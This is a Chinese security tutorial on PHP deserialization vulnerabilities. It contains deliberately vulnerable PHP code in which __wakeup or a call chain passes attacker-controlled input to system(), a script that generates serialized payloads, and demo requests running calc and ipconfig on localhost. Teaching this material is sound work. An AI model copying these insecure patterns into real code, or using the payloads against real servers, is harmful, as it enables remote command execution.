PHP 反序列化漏洞

反序列化漏洞

概念

序列化

将对象转化为便于传输的格式,常见序列化格式有二进制、字节数组、json 字符串、xml 字符串,php 中使用 serialize() 函数进行序列化

反序列化

反序列化则是将序列化后的数据重新转换为原始的数据结构或对象的过程,php 中使用 unserialize() 函数进行反序列化

序列化和反序列化原因

为了保证数据的存储和传输

魔术方法

在特定的情况下会被自动调用,以双下划线 __ 开头,即使魔术方法在类中没有被定义,也是真实存在的。

__construct() 在创建对象时自动调用

__destruct() 在销毁对象时自动调用

__wakeup() unserialize()反序列化时会自动调用这个函数

__sleep() serialize()序列化时会自动调用这个函数

反序列化漏洞

用户传给 unserialize() 的经过序列化后的参数可控。当对象的销毁和创建或使用 unserialize() 等函数对用户提供的数据进行反序列化等操作时,魔术方法自动调用,魔术方法本身自动调用了其他方法,其他方法又调用了其他方法,最终呈现一种链式调用,将参数传递到危险函数,最终实现命令执行

例1

此例重点在 经过序列化后的参数可控

服务器端 PHP 代码

1.php

<?php
// 1.php

    
// 定义函数 a()
function a($cmd){
	@system($cmd);
}
// 创建 test 类
class test{
	// 定义属性
	public $name;
	public $age;
	// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
	public function __wakeup(){
        // $this 可以在类的方法中使用,用来访问当前对象的属性和方法。传参给函数 a(),执行系统命令
		@a($this->name);
	}
	
}
//*****************************************
// 此处的 $str 模拟接收客户端上传的数据
$str='O:4:"test":2:{s:4:"name";s:8:"ipconfig";s:3:"age";i:18;}';
print_r($str);
echo "<br>";
//******************************************
// 反序列化
$str=unserialize($str);
var_dump($str);
?>

生成 Payload 的 POC

2.php

新建 test 类的对象,对象中 $name 的值会传递到函数 a() 中,从而控制执行的命令,所以要控制执行的命令,需要改 name

<?php
// 2.php
    
// 创建 test 类
class test{
	// 定义属性
	public $name;
	public $age;
	// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
	public function __wakeup(){
		a($cmd);
	}
	
}
echo "*****************************************<br>";
echo "payload<br>";
// 创建对象
$person1=new test;
// 对象赋值
$person1->name="ipconfig";
$person1->age=18;
// 序列化
$person1=serialize($person1);
echo "<br>";
print_r($person1);
echo "<br>*****************************************";
?>

演示

calc

使用 2.php 生成 Payload

image-20231121205600170

将 Payload 复制到 1.php 文件,模拟上传序列化后的参数,访问 1.php,成功执行

image-20231121205718268

ipconfig

使用 2.php 生成 执行 ipconfig 的 Payload

image-20231121204343431

image-20231121204417565

修改 1.php 中的 payload,成功执行 ipconfig

image-20231121204600130

例2

传递的未经序列化的参数,不是很标准,但体现了链式调用

PHP 代码

<?php
// 定义函数 a()
function a(){
	// 调用函数 b()
	b();
}
// 定义函数 b()
function b(){
	// 如果参数 cmd 的值为 calc 则打开计算器
    $cmd=$_GET['cmd'];
    @system($cmd);
}
// 创建 test 类
class test{
	// 定义属性
	public $name;
	public $age;
	// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
	public function __wakeup(){
		a();
	}
	
}
// 创建对象
$person1=new test;
// 对象赋值
$person1->name="zhangsan";
$person1->age=18;
// 序列化
$person1=serialize($person1);
var_dump($person1);
// 反序列化
echo "<hr>";
$person1=unserialize($person1);
var_dump($person1);

?>

漏洞逻辑

当执行反序列化语句 $person1=unserialize($person1); 时,系统会自动调用 test() 类中的 __wakeup() 方法,__wakeup() 方法调用函数 a(),函数 a() 调用函数 b(),函数 b() 接收传参,执行系统命令

验证

当成功执行反序列化函数 unserialize() 并且成功传参时,成功执行系统命令

http://127.0.0.1/1.php?cmd=calc

image-20231121184253452

http://127.0.0.1/1.php?cmd=ipconfig

image-20231121184800431

当未使用反序列化函数时,不会触发 __wakeup() 方法,从而未进行链式调用,函数 b() 未被调用,不会执行命令

image-20231121184659242

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
关于PHP反序列化漏洞的习题,可以使用GlobIterator类和ArrayObject类来进行练习。其中,GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_phpPHP反序列化漏洞是一种安全漏洞,其中一个具体的例子是CVE-2016-7124,该漏洞存在于php5<5.6.25和php7<7.0.10的版本中。漏洞的产生原因是由于反序列化时对输入的不当处理所导致的。 了解PHP反序列化漏洞的习题,需要掌握类与对象、反序列化基础知识以及一些与魔术方法相关的内容,如构造和折构方法(__construct()、__destruct())、序列化和反序列化方法(__sleep()、__wakeup())、错误调用魔术方法(__callStatic()、__get()、__set()、__isset()、__unset()、__clone())等。反序列化漏洞的成因较复杂,例如POP链构造、POC链反推法等。 此外,还可以学习字符串逃逸和__wakeup魔术方法绕过漏洞的相关知识。其中,__wakeup魔术方法绕过漏洞的产生原因是__wakeup方法可以在反序列化时被绕过,从而可能导致安全漏洞PHP反序列化漏洞还可以通过引用的利用方法来进行学习。另外,还可以学习SESSION反序列化漏洞和phar反序列化漏洞的习题。其中,SESSION反序列化漏洞涉及到不同处理器的不同储存格式,而phar反序列化漏洞需要了解phar的构造和使用条件。 通过这些习题的学习,可以更好地理解PHP反序列化漏洞以及如何进行防范和修复。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [PHP反序列化漏洞(最全面最详细有例题)](https://blog.csdn.net/m0_73728268/article/details/129893800)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值